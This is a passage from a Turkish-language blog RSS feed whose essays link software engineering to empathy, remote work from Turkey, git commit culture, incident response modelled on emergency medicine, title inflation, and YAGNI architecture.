<p>TypeScript, ESLint, Prettier... Bu araçlar kodunuzun teknik doğruluğunu ve biçimsel tutarlılığını kontrol eder. Ama hiçbir derleyici, kodunuzun ne kadar "insancıl" olduğunu ölçemez. Hiçbir linter, fonksiyonunuzun adının gelecekteki okuyucuyu yanıltıp yanıltmadığını kontrol edemez. Hiçbir formatlayıcı, hata mesajlarınızın kullanıcıyı aşağılayıp aşağılamadığını tespit edemez.</p>
<p>İşte bu yüzden empati, yazılım mühendisliğinde otomatize edilemeyen son beceridir. Ve belki de en önemli olanıdır. Çünkü sonuçta kodumuz, insanlar tarafından okunacak, insanlar tarafından değiştirilecek ve insanlar tarafından sürdürülecektir. Makineler sadece çalıştırır; anlam veren ve acı çeken bizleriz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>felsefe</category>
            <category>temiz kod</category>
            <category>empati</category>
            <category>yazılım kültürü</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/empati-derleyicisi-neden-iyi-kod-yazmak-icin-iyi-insan-olmak-gerekir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'den Yazılım İhraç Etmek: Dolar Kazanıp TL Harcamanın Psikolojisi]]></title>
            <link>http://localhost:3000/blog/post/turkiyeden-yazilim-ihrac-etmek-dolar-kazanip-tl-harcamanin-psikolojisi</link>
            <guid>turkiyeden-yazilim-ihrac-etmek-dolar-kazanip-tl-harcamanin-psikolojisi</guid>
            <pubDate>Mon, 05 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Uzaktan çalışarak yurt dışına yazılım satan Türk geliştiricilerin sessiz devrimi. Dolar maaş almanın lüksü ve "Neden burada kalıyorum?" sorusunun ağırlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyeden-yazilim-ihrac-etmek-dolar-kazanip-tl-harcamanin-psikolojisi/thumbnail" alt=""> Her sabah uyandığımda, dünyanın en garip ekonomik deneylerinden birinin içinde yaşadığımı hatırlıyorum. Dolar bazında maaş alıp TL bazında yaşamak, Excel'de harika görünür. Gerçekte ise sizi hem ayrıcalıklı hem de yerinden edilmiş hissettiren, kategorize edilmesi zor bir psikolojik durumun içine sürükler.</p>
<p>Türkiye'den uzaktan çalışarak yurt dışındaki şirketlere yazılım geliştirmek, son yılların en sessiz ama en büyük devrimlerinden biri oldu. Fiziksel olarak göç etmeden, dijital olarak göç ettik. Beyinlerimiz San Francisco'da çalışıyor, bedenlerimiz Kadıköy'de kahvaltı ediyor.</p>
<h3>Döviz Kuru ve Kimlik Krizi</h3>
<p>Dolar maaş almak, Türkiye'de yaşamanın ekonomik baskısını hafifletir. Bu tartışılmaz. Ama bu durum beraberinde kimse hakkında konuşmak istemediği bir kimlik krizini getirir.</p>
<p>Sabah 9'da San Francisco saati üzerinden daily standup toplantısına katılıyorsunuz. Ekibinizdeki herkes "weekend'de Lake Tahoe'ya gittik" derken siz "Bu hafta sonu Kadıköy sahilinde yürüdüm" diyorsunuz. Maaşınız aynı, yaşadığınız deneyim tamamen farklı. Bir süre sonra ne tam olarak Amerikan çalışma kültürüne aitsiniz ne de Türk çalışma kültürüne. İkisinin arasında, dijital bir limbo'da asılı kalıyorsunuz.</p>
<p>Arkadaşlarınızla buluştuğunuzda ise tersinden bir uyumsuzluk yaşıyorsunuz. TL maaş alan arkadaşlarınız market fiyatlarından şikâyet ederken siz sessiz kalıyorsunuz. Çünkü aynı markete gittiğinizde dolar bazında düşününce fiyatlar size "ucuz" geliyordur. Bu sessizlik, bir suçluluk duygusuna dönüşür. Kazandığınız parayla gurur duymanız gerekirken, kendinizi çevrenizden kopmuş hissediyorsunuz.</p>
<h3>Saat Dilimleri ve Yalnızlık</h3>
<p>Uzaktan çalışmanın en romantize edilen yanı "özgürlüktür". İstediğiniz yerden çalışabilirsiniz! Ama kimse saat dilimlerinin yarattığı sosyal izolasyonu anlatmaz.</p>
<p>ABD'deki bir şirket için çalışıyorsanız, gününüz Türkiye saatiyle öğleden sonra 3'te başlar ve gece 12'de biter. Bu, arkadaşlarınızla akşam yemeğine çıkamayacağınız, eşinizle birlikte film izleyemeyeceğiniz ve çocuğunuzu yatırmadan önce bir "küçük meeting" daha katılmanız gerektiği anlamına gelir.</p>
<p>Avrupa'daki bir şirket biraz daha insaflıdır ama onlarda da toplantılar genellikle Türkiye saatiyle öğle arasına denk gelir. Tam yemeğe oturacakken Zoom açılır, soğuyan çorbaya bakarak İngilizcenize odaklanırsınız.</p>
<h3>Dijital Göç: Gitmeden Gitmek</h3>
<p>Fiziksel beyin göçü zaten Türkiye'nin en büyük kanamalarından biri. Ama dijital göç çok daha sinsi bir fenomen. Çünkü kişi ülkeden ayrılmıyor, vergi veriyor, kirasını ödüyor, marketten alışveriş yapıyor. Ama zihinsel olarak artık burada değil. Günün 8-10 saatini farklı bir ülkenin problemlerini çözerek, farklı bir dilde düşünerek ve farklı bir kültürün normlarına uyarak geçiriyor.</p>
<p>Bu, bir tür "yarı göç" durumudur. Ne tam olarak gitmiştir ne de tam olarak kalmıştır. Pasaportunuz Türk ama iş beyniniz Amerikan. Patronunuz Seattle'da ama komşunuz Bağdat Caddesi'nde. Bu ikili yaşam bir süre sonra yıpratıcı olur çünkü hiçbir yere tam olarak ait hissedemezsiniz.</p>
<h3>Peki Neden Kalıyoruz?</h3>
<p>Bu kadar çelişkiye rağmen çoğu dijital göçebe Türkiye'de kalmaya devam ediyor. Sebepleri tamamen rasyonel olmayabilir: Aile bağları, arkadaş çevresi, İstanbul'un o kaotik ama bağımlılık yapan enerjisi, sabah çay içerken Boğaz'ı seyretmenin verdiği o tarif edilemez huzur.</p>
<p>Ve belki de en önemlisi: Türkiye'de yazılım geliştirici olmak, dünyada başka hiçbir yerde olmayan bir perspektif kazandırır. Hem gelişmekte olan bir ülkenin gerçekliklerini anlarsınız hem de gelişmiş ülkelerin teknoloji ekosistemini içeriden görürsünüz. Bu çift yönlü bakış açısı, sizi çoğu mühendisten farklı kılar.</p>
<p>Sonuçta dolar kazanıp TL harcamak sadece bir döviz arbitrajı değildir. Aynı anda iki farklı dünyada var olmanın, ikisinin de güzelliklerinden beslenenip ikisinin de çelişkilerini taşımanın adıdır. Ve bu deneyim, tıpkı iyi yazılmış bir kod gibi, dışarıdan basit görünür ama içinde katmanlar dolusu karmaşıklık barındırır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>türkiye</category>
            <category>uzaktan çalışma</category>
            <category>kariyer</category>
            <category>ekonomi</category>
            <category>yazılım</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyeden-yazilim-ihrac-etmek-dolar-kazanip-tl-harcamanin-psikolojisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Git Commit Geçmişimiz Aslında Psikolojik Dosyamızdır]]></title>
            <link>http://localhost:3000/blog/post/git-commit-gecmisimiz-aslinda-psikolojik-dosyamizdir</link>
            <guid>git-commit-gecmisimiz-aslinda-psikolojik-dosyamizdir</guid>
            <pubDate>Sun, 04 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sabah 9’daki "feat: eklendi" ile gece 3’teki "fix: ALLAH ASKINA CALIS ARTIK" arasındaki ince çizgi. Git geçmişi neden sadece kodun değil, bizim de ruh halimizin haritasıdır?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/git-commit-gecmisimiz-aslinda-psikolojik-dosyamizdir/thumbnail" alt=""> Bir şirkette işe yeni başladığınızda genellikle size sistemin mimarisini, veritabanı şemalarını ve şirketin büyük hedeflerini anlatırlar. Ancak o projede gerçekten neler yaşandığını, ekibin ruh halini ve projenin gizli travmalarını anlamak istiyorsanız bakmanız gereken tek bir yer vardır: <strong>Git Commit Geçmişi</strong>.</p>
<p>Git, teoride kaynak kodu versiyonlamak (version control) için tasarlanmış harika bir araçtır. Ancak pratikte, yazılımcıların sessiz çığlıklarını, çaresizliklerini ve anlık aydınlanmalarını kaydettikleri devasa bir dijital günlük işlevi görür.</p>
<h3>Commit Mesajlarının Psikolojik Evrimi</h3>
<p>Bir projenin başlangıç evresi her zaman umut doludur. İlk haftalardaki commit mesajları o kadar temiz, o kadar profesyoneldir ki bir şiir kitabı gibi okunabilir:</p>
<ul>
<li><code>feat: kullanıcı giriş modülü eklendi</code></li>
<li><code>refactor: veritabanı bağlantı havuzu optimize edildi</code></li>
<li><code>docs: README dosyası güncellendi</code></li>
</ul>
<p>Bu mesajları yazan kişi, 8 saatlik sağlıklı uykusunu almış, sabah kahvesini içmiş ve hayatından memnun bir geliştiricidir. Her şey kuralına uygundur. Linter hataları çözülmüş, kod formatlanmıştır.</p>
<p>Fakat proje yavaş yavaş canlıya (production) yaklaşmaya başladığında, o kusursuz profesyonellik yerini ufak bir telaşa bırakır:</p>
<ul>
<li><code>fix: login butonu ara sıra çalışmıyor düzelttim</code></li>
<li><code>chore: gereksiz consol.log'lar silindi</code></li>
<li><code>WIP: henüz bitmedi ama kodu alıyorum</code></li>
</ul>
<p>Artık geliştiricimiz ufak tefek pürüzlerle karşılaşmaktadır. Ürün yöneticisinin (Product Manager) ensesinde hissettiği nefesi, commit mesajlarındaki o hafif gerginliği hissettirmeye başlar.</p>
<h3>Gece 03:00 Cinnetleri</h3>
<p>Gerçek travma ise canlı ortama geçişin (deployment) hemen öncesinde, Cuma gecesi saat 02:45'te atılan o acil durum commitlerinde gizlidir. Bu evrede artık geleneksel yazılım kuralları (SemVer, Conventional Commits) tamamen çökmüş, insan doğasının en ham, en çaresiz hali klavyeye yansımıştır:</p>
<ul>
<li><code>fix: abi neden calismiyor localde calisiyordu</code></li>
<li><code>test: ulan cache yuzundenmis 4 saattir ariyorum</code></li>
<li><code>asdasdsadsa</code></li>
<li><code>YETER CALIS ARTIK LUTFEN</code></li>
<li><code>fix: son_duzeltme_gercekten_son_v4_final</code></li>
</ul>
<p>Eğer bir projenin geçmişinde üst üste 15 tane "asdasdsadsa" mesajı görüyorsanız, o satırlarda sadece kod değişikliği yoktur. O satırlarda, ocağın üstünde unutulmuş bir çay, iptal edilmiş bir sinema bileti ve sinirden kemirilmiş tırnaklar vardır.</p>
<h3>Kodu Okumak vs İnsanı Okumak</h3>
<p>Yeni bir projeyi devraldığımda her zaman <code>git log --oneline</code> komutunu çalıştırır ve ekibin geçmişine bakarım. Eğer tüm proje başından sonuna kadar kusursuz, kitabi mesajlarla doluyorsa, o projede gerçek bir tutku olmadığını bilirim.</p>
<p>Çünkü kod hata verir. Sistemler çöker. Ve eğer o sistemleri yazan insanlar bu çöküşlere tamamen duygusuz, robotik bir şekilde tepki veriyorsa, ortada bir gariplik vardır. Gerçek yazılımcıların klavyesine arada sırada kan, ter ve gözyaşı damlar. Ve bu damlalar, versiyon kontrol sistemimizin bir köşesinde sonsuza dek saklanır.</p>
<p>Bir dahaki sefere koda bakarken sadece algoritmaları değil, o algoritmaları yazan insanın saat 03:00'teki o çaresiz yalnızlığını da görmeye çalışın. Çünkü kodumuz, bizim en dürüst aynamızdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mizah</category>
            <category>git</category>
            <category>yazılım</category>
            <category>psikoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/git-commit-gecmisimiz-aslinda-psikolojik-dosyamizdir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Altın Saat: Travma Odası vs Sunucu Odası]]></title>
            <link>http://localhost:3000/blog/post/altin-saat-travma-odasi-vs-sunucu-odasi</link>
            <guid>altin-saat-travma-odasi-vs-sunucu-odasi</guid>
            <pubDate>Sat, 03 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Acil tıptaki "Altın Saat" kuralı, ağır travmalarda hayatta kalma şansının ilk 60 dakikada belirlendiğini söyler. Sunucu çöktüğünde de durum farklı değildir.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/altin-saat-travma-odasi-vs-sunucu-odasi/thumbnail" alt=""> Acil tıpta "Altın Saat" (Golden Hour) kavramı, hayatın ve ölümün arasındaki en ince çizgiyi tanımlar. İlk kez 1975 yılında Dr. R Adams Cowley tarafından formüle edilen bu prensip şunu söyler: Ağır bir travma geçiren hastanın hayatta kalma şansı, ilk 60 dakika içinde yapılan müdahalenin kalitesiyle doğru orantılıdır. Bu süre geçtikten sonra, en yetenekli cerrah bile geri dönüşü olmayan hasarlarla yüzleşmek zorunda kalır.</p>
<p>Bu kavram acil tıp dünyasının her köşesine işlemiştir. Ambulans çağrısından hastanın ameliyathaneye alınmasına kadar geçen süreçteki her bir saniye optimize edilmiş, protokolleştirilmiş ve ölçümlenmiştir. Çünkü acil tıp, zamanın bir kaynak değil, bir <em>silah</em> olduğunu anlamıştır.</p>
<p>Peki yazılım dünyası?</p>
<h3>Sunucu Odasındaki Altın Saat</h3>
<p>Büyük bir e-ticaret platformunu düşünün. Black Friday gecesi saat 21:00'de ana veritabanı sunucusu yanıt vermeyi durduruyor. Bu an, dijital dünyanın travma anıdır.</p>
<p>İlk 5 dakika içinde yapılan müdahale, şirketin o geceyi gelir kaybıyla mı yoksa itibar kaybıyla mı kapayacağını belirler. İtibar kaybı, gelir kaybından çok daha ağır bir yaradır çünkü iyileşmesi aylar alır.</p>
<p>Ancak çoğu yazılım ekibinin bir "Altın Saat" protokolü yoktur. Alarm çaldığında ne olur? Nöbetçi mühendis telefonunu açar. Belki açmaz çünkü sessiz moddadır. Slack'e bir mesaj atılır. 15 dakika sonra biri yanıt verir. VPN bağlantısı kurmaya çalışır. Şifresini hatırlayamaz. IT'ye bilet açar.</p>
<p>Bu arada sunucu hâlâ yerde yatmaktadır. Ambulansın anahtarı kaybolmuş gibidir.</p>
<h3>MIST ve SBAR: Acil Tıptan Ödünç Alınacak Protokoller</h3>
<p>Acil tıpta bir paramedik hastaneye hasta teslim ederken, o kaotik ortamda bile yapılandırılmış bir iletişim protokolü kullanır. En yaygınlarından biri <strong>MIST</strong> formatıdır:</p>
<ul>
<li><strong>M</strong>echanism (Mekanizma): Ne oldu?</li>
<li><strong>I</strong>njuries (Yaralanmalar): Neler hasar gördü?</li>
<li><strong>S</strong>igns (Belirtiler): Hayati bulgular neler?</li>
<li><strong>T</strong>reatment (Tedavi): Şimdiye kadar ne yapıldı?</li>
</ul>
<p>Bu format, kritik bilginin saniyeler içinde, eksiksiz ve anlaşılır bir şekilde aktarılmasını sağlar. Bir paramedik asla "Şey, hasta biraz kötü görünüyordu, bir şeyler yaptık, tam hatırlamıyorum" demez.</p>
<p>Yazılım dünyasında ise olay müdahalesi (incident response) genellikle şöyle başlar: "Bir şeyler bozuldu galiba. Birisi bakabilir mi?" Bu mesajda ne bozuldu, ne zaman bozuldu, kimleri etkiledi, hangi servisler çalışmıyor gibi kritik bilgilerin hiçbiri yoktur.</p>
<p>Eğer MIST formatını yazılıma uyarlasaydık şöyle görünürdü:</p>
<ul>
<li><strong>Mekanizma:</strong> Son deploy'dan 3 dakika sonra başladı.</li>
<li><strong>Hasar:</strong> Ödeme servisi yanıt vermiyor, kullanıcılar checkout yapamıyor.</li>
<li><strong>Belirtiler:</strong> CPU %100, veritabanı bağlantı havuzu tükenmiş, hata oranı %78.</li>
<li><strong>Yapılanlar:</strong> Son deploy geri alındı, etki devam ediyor.</li>
</ul>
<p>Bu kadar net, bu kadar yapılandırılmış bir ilk mesaj, ekibin müdahale süresini dakikalardan saniyelere indirebilir.</p>
<h3>"Scoop and Run" vs "Stay and Play"</h3>
<p>Acil tıpta iki temel müdahale felsefesi vardır. <strong>"Scoop and Run"</strong> (Kap ve Koş): Hastayı minimum müdahaleyle en hızlı şekilde hastaneye taşı. <strong>"Stay and Play"</strong> (Kal ve Müdahale Et): Sahada kapsamlı müdahale yap, hastayı stabilize et, sonra taşı.</p>
<p>Hangi yaklaşımın seçileceği hastanın durumuna ve mevcut kaynaklara bağlıdır. İç kanama geçiren birini sahada ameliyat edemezsiniz, onu en yakın travma merkezine yetiştirmeniz gerekir. Ama solunum yolu tıkanmış birini stabilize etmeden taşırsanız yolda kaybedersiniz.</p>
<p>Yazılım krizlerinde de aynı karar verilmelidir. Veritabanı tamamen çökmüşse ve elimizde yedek (backup) varsa, sorunu sahada (production) çözmeye çalışmak yerine hızlıca yedekten geri dönmek (Scoop and Run) daha mantıklı olabilir. Ancak sorun bir bellek sızıntısıysa (memory leak) ve sistemi yeniden başlatmak geçici bir çözümse, kök nedeni bulana kadar sahada kalmak (Stay and Play) gerekir.</p>
<p>Sorun şu ki, çoğu yazılım ekibi bu ayrımı yapacak deneyime ve soğukkanlılığa sahip değildir. Ya her şeyi sahada çözmeye çalışarak altın saati tüketirler, ya da her şeyi geri alarak asıl sorunu hiç çözmezler ve aynı kriz bir hafta sonra tekrar eder.</p>
<p>Tıpkı acil tıpta olduğu gibi yazılımda da altın saatin farkında olmak, o saati nasıl kullanacağınızı bilmek ve en önemlisi o saat dolmadan harekete geçmek; işte projenizin yaşaması ile ölmesi arasındaki fark budur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DevOps</category>
            <category>kriz yönetimi</category>
            <category>paramedik</category>
            <category>yazılım</category>
            <category>incident response</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/altin-saat-travma-odasi-vs-sunucu-odasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Senior" Unvanı İllüzyonu]]></title>
            <link>http://localhost:3000/blog/post/senior-unvani-illuzyonu</link>
            <guid>senior-unvani-illuzyonu</guid>
            <pubDate>Fri, 02 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[3 yıl React yazan herkesin Senior ilan edildiği bir sektörde, bu unvanın içinin nasıl boşaldığı ve gerçek mühendisliğin çerçevelerle değil kriz anlarındaki kararlarla ölçüldüğü üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/senior-unvani-illuzyonu/thumbnail" alt=""> Yazılım sektörü, muhtemelen dünyada enflasyonun en hızlı yaşandığı ama kimsenin sesini çıkarmadığı tek yerdir. Paranın değerinden bahsetmiyorum, unvanların enflasyonundan bahsediyorum. Bugünlerde LinkedIn'de şöyle bir tur attığınızda, üniversiteden mezun olalı henüz üç yıl bile olmamış ama isminin başına parıltılı bir "Senior Software Engineer" eklemiş binlerce insan görebilirsiniz.</p>
<p>Peki ne oldu da yılların tecrübesi, sabahlara kadar süren debug seansları, yanlış verilen mimari kararların bedelini aylar süren refactorlerle ödeme acısı bir anda "iki tane React projesi ayağa kaldırmak" ile eşdeğer hale geldi?</p>
<h3>10 Bin Saat Kuralı vs. 10 Bin Satır Kod</h3>
<p>Malcolm Gladwell'in meşhur 10 bin saat kuralı yazılım dünyasında fena halde yanlış anlaşıldı. İnsanlar 10 bin saat boyunca <strong>aynı</strong> basit CRUD (Create, Read, Update, Delete) işlemini yaptıklarında ustalaştıklarını zannediyorlar. Oysa bir işi 10 bin saat yapmak sizi o işin uzmanı yapmaz; sizi sadece o rutinin kölesi yapar. Gerçek ustalık, o 10 bin saatin içinde kaç farklı krizle yüzleştiğiniz, kaç tane yıkılmış mimariyi ayağa kaldırdığınız ve en önemlisi kaç kez "Bunu böyle yapmamalıyız" diyebildiğinizle ölçülür.</p>
<p>Günümüz start-up kültüründe "Senior" kelimesi artık bir yetkinlik belirtisi değil, bir elde tutma (retention) stratejisi. Şirketler, çalışanlarına hak ettikleri maaş zamlarını veremediklerinde onlara bol keseden unvan dağıtmaya başladılar. "Maaşına %10 zam yapabiliyoruz ama seni Senior yapıyoruz!" Bu cümlenin sektördeki karşılığı aslında şudur: "Sana daha fazla para veremiyoruz ama egonu okşayabiliriz."</p>
<h3>Framework Bağımlılığı ve Mühendislik Kaybı</h3>
<p>Bugün "Senior" olarak işe alınan pek çok kişi, aslında sadece belirli bir çerçevenin (framework) yetenekli bir kullanıcısıdır. Next.js'in son sürümündeki tüm özellikleri ezbere bilebilirler, ancak işin temeline indiklerinde, tarayıcının belleği nasıl yönettiği veya sunucu tarafındaki bir TCP darboğazının uygulamanın geri kalanını nasıl felç edeceği konusunda hiçbir fikirleri yoktur.</p>
<p>Bir çerçevenin kurallarını ezberlemek sizi o çerçevenin Senior'ı yapabilir, ancak bu sizi Senior bir <em>Mühendis</em> yapmaz. Mühendislik, elinizdeki çekiçle her şeyi çivi olarak görmek değil, o çekicin hangi metallerle dövüldüğünü, sapının hangi ağaçtan yapıldığını ve o çekicin kullanılmaması gereken yerleri bilmektir.</p>
<h3>Gerçek Senior'ı Nasıl Tanırız?</h3>
<p>Peki, unvanların içinin bu kadar boşaldığı bir ekosistemde masanın karşısında oturan kişinin gerçekten "Senior" olduğunu nasıl anlarız?</p>
<ol>
<li><strong>"Hayır" diyebilme yetisi:</strong> Gerçek bir Senior, ürün yöneticisi mantıksız bir taleple geldiğinde sadece kafasını sallayıp kodu yazan kişi değildir. O özelliğin neden yapılmaması gerektiğini, uzun vadede teknik borcu (technical debt) nasıl artıracağını verilerle açıklayabilen kişidir.</li>
<li><strong>Kriz anındaki nabız:</strong> Production (canlı ortam) çöktüğünde elleri titreyerek Stack Overflow'da çözüm arayan kişi henüz yolun başındadır. Gerçek Senior, logları sükunetle okuyan, sorunun kök nedenine odaklanan ve ekibin geri kalanını paniğe sürüklemeden süreci yöneten kişidir.</li>
<li><strong>Kod silme sevgisi:</strong> Junior'lar kod yazmaktan keyif alır, Mid-level'lar karmaşık algoritmalar kurmaktan... Senior'lar ise kod silmekten keyif alır. En iyi kod, hiç yazılmamış koddur prensibini iliklerine kadar hissetmişlerdir.</li>
<li><strong>Teknoloji agnostikliği:</strong> "React mı Vue mu?" tartışmasına giren bir Senior göremezsiniz. Çünkü onun için ikisi de günün sonunda JavaScript'e dönüşen ve beş yıl sonra muhtemelen yerini başka bir şeye bırakacak olan geçici araçlardır. O, aracın kendisine değil, çözdüğü probleme odaklanır.</li>
</ol>
<p>Sonuç olarak, ismimizin başındaki unvanlar bizim kim olduğumuzu belirlemez. Kodumuz çöktüğünde Google'da sadece hatanın mesajını değil, o hatanın arkasındaki mimari kusuru da arıyorsak; yazdığımız kodun bir hafta sonraki teslim tarihini değil, iki yıl sonra o kodu okuyacak olan yeni mezun geliştiriciyi düşünebiliyorsak... İşte o zaman, kartvizitimizde ne yazdığının hiçbir önemi kalmaz. Tebrikler, artık unvanınızın değil, deneyiminizin bir anlamı var.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kariyer</category>
            <category>yazılım</category>
            <category>felsefe</category>
            <category>sektör</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/senior-unvani-illuzyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Ambulans Çantası Mimarisi: Yazılımcılara Bir YAGNI Dersi]]></title>
            <link>http://localhost:3000/blog/post/ambulans-cantasi-mimarisi-yazilimcilara-bir-yagni-dersi</link>
            <guid>ambulans-cantasi-mimarisi-yazilimcilara-bir-yagni-dersi</guid>
            <pubDate>Thu, 01 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bir paramedik çantasına sadece hayat kurtaracak ekipmanları koyar. Peki yazılımcılar neden hiç gelmeyecek milyonlarca kullanıcı için sistemi gereksiz teknolojilerle boğuyor?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ambulans-cantasi-mimarisi-yazilimcilara-bir-yagni-dersi/thumbnail" alt=""> Bir paramedik olarak ilk öğrendiğiniz şeylerden biri, çantanızın ağırlığıdır. Her gram önemlidir çünkü o çantayı apartmanın beşinci katına, dar bir merdivenden, terleyerek ve nefes nefese çıkartacak olan sizsiniz. Ve yukarıda sizi bekleyen hastanın her geçen saniyesi, sizin o çantayı ne kadar akıllıca hazırladığınıza bağlıdır.</p>
<p>Ambulans çantası (Jump Bag) mimarisi acımasızca pragmatiktir. İçine sadece ve sadece hayat kurtaracak ekipmanlar konur: Hava yolu açma araçları, turnike, defibrilatör, temel ilaçlar. Hiçbir paramedik "Belki MR çekmemiz gerekir" diyerek sırtına portatif bir MR cihazı bağlamaz. Hiçbir paramedik "Ya hastanın diş ağrısı da varsa?" diyerek çantasına diş dolgu seti koymaz.</p>
<p>Çünkü acil tıpta herkesin kanına işlemiş bir prensip vardır: <strong>Hayatta tutmak için en az malzemeyle en fazla etkiyi yaratmak.</strong> Fazlası sizi yavaşlatır, yavaşlık ise ölüm demektir.</p>
<h3>Yazılım Dünyasının Şişirilmiş Çantaları</h3>
<p>Şimdi bu prensibi yazılım dünyasına taşıyalım. Yeni bir projeye başlıyorsunuz. Henüz tek bir kullanıcınız bile yok. Ama ilk hafta toplantısında ekibin aldığı kararlar şöyle bir şey oluyor:</p>
<ul>
<li>"Veritabanı olarak PostgreSQL kullanalım ama ileride NoSQL'e geçebiliriz, o yüzden bir de MongoDB kuralım."</li>
<li>"Mesaj kuyruğu olarak Kafka entegre edelim, ileride binlerce event işlememiz gerekebilir."</li>
<li>"Kubernetes üzerinde çalışalım çünkü ölçeklenmemiz gerekecek."</li>
<li>"Mikroservis mimarisine geçelim, monolitik yapıda kalırsak ileride sıkışırız."</li>
</ul>
<p>Henüz ortada tek bir kullanıcı yokken, Netflix'in altyapısını kurmaya çalışıyorsunuz. Bu, kalbi duran bir hastaya müdahale etmeden önce hastane bilgi yönetim sisteminin hangi bulut sağlayıcısında çalışacağını tartışmak gibidir.</p>
<p>Yazılım mühendisliğinde bu hastalığın bir adı var: <strong>YAGNI — You Aren't Gonna Need It</strong> (İhtiyacın Olmayacak). Kent Beck ve Ron Jeffries'in Aşırı Programlama (Extreme Programming) felsefesinden doğan bu prensip, şunu söyler: "Bir özelliği, gerçekten ihtiyacınız olduğu ana kadar eklemeyin."</p>
<h3>"Ya Lazım Olursa?" Sendromu</h3>
<p>Peki neden bu kadar basit bir prensibi kimse uygulamıyor? Çünkü yazılımcıların en büyük korkusu, gelecekteki bir ihtiyaç karşısında hazırlıksız yakalanmaktır. "Ya ileride lazım olursa?" sorusu, yazılım dünyasının en pahalı dört kelimesidir.</p>
<p>Acil tıpta da bu korkuyu yaşarsınız. "Ya hastanın alerjisi varsa ve elimde doğru ilaç yoksa?" Bu düşünce sizi çantanıza 200 farklı ilaç koymaya iter. Ama tecrübeli bir paramedik bilir ki, sahadaki vakaların yüzde doksanını beş temel ilaçla yönetebilirsiniz. Geri kalan yüzde onu ise zaten çantanıza koyacağınız hiçbir şey kurtaramaz; o vakalar hastane müdahalesine ihtiyaç duyar.</p>
<p>Yazılımda da durum aynıdır. Projenizin yüzde doksanını basit bir monolitik yapı, tek bir ilişkisel veritabanı ve iyi yazılmış bir REST API ile çözebilirsiniz. O "ileride lazım olabilecek" Kafka kuyruğu, o Kubernetes kümesi, o event-driven mimari... Bunlar, projenizin gerçekten o ölçeğe ulaştığı gün eklenebilir. Ama o gün gelmeden eklediğinizde, çantanız o kadar ağırlaşır ki beşinci kata çıkamadan merdivende kalırsınız.</p>
<h3>Hafif Çanta, Hızlı Müdahale</h3>
<p>Acil tıpta hayat kurtaran şey teknolojinin ne kadar gelişmiş olduğu değil, müdahalenin ne kadar hızlı yapıldığıdır. Dünyanın en pahalı defibrilatörü bile hastanın yanına zamanında ulaşamıyorsa bir plastik parçasından farksızdır.</p>
<p>Yazılımda da aynı mantık geçerlidir. Ürününüzü kullanıcıya ne kadar hızlı ulaştırabildiğiniz (Time to Market), altyapınızın ne kadar "enterprise-grade" olduğundan çok daha önemlidir. Mükemmel mimariyi kurana kadar rakibiniz basit bir monolitle pazara girmiş, kullanıcı geri bildirimi toplamış ve ürününü beş kez pivot etmiş olabilir. Siz ise hâlâ Kubernetes pod'larınızın neden çöktüğünü debug ediyorsunuzdur.</p>
<p>Bir dahaki sefere yeni bir projeye başlarken kendinize sorun: "Eğer bu bir ambulans çantası olsaydı, içine ne koyardım?" Cevabınız muhtemelen şu olacak: Çalışan bir veritabanı, temiz bir API, basit bir dağıtım (deployment) süreci. Gerisi, hasta gerçekten geldiğinde düşünülecek detaylardır.</p>
<p>Çünkü hayatta kalmanın sırrı, en çok ekipmana sahip olmak değil, en doğru ekipmanı en hızlı şekilde kullanabilmektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mimari</category>
            <category>YAGNI</category>
            <category>paramedik</category>
            <category>yazılım</category>
            <category>felsefe</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ambulans-cantasi-mimarisi-yazilimcilara-bir-yagni-dersi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Mikroservisler: Modern Zamanın Babil Kulesi]]></title>
            <link>http://localhost:3000/blog/post/mikroservisler-modern-zamanin-babil-kulesi</link>
            <guid>mikroservisler-modern-zamanin-babil-kulesi</guid>
            <pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Herkesin sırf trend olduğu için monolitik yapıyı bırakıp mikroservislere geçmesini ve ardından sistemlerin birbiriyle konuşamadığı bir iletişim felaketine dönüşmesini anlatan teknik bir felsefe.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mikroservisler-modern-zamanin-babil-kulesi/thumbnail" alt=""> Yazılım dünyasının moda akımlarına kapılma hızı, Paris Moda Haftası'nı bile kıskandıracak seviyededir. Bir zamanlar herkes NoSQL kullanmak zorundaydı, sonra "Serverless" kelimesini cümle içinde kullanmayanları sektörden aforoz ettiler. Şimdi ise sahnenin mutlak yıldızı: Mikroservisler.</p>
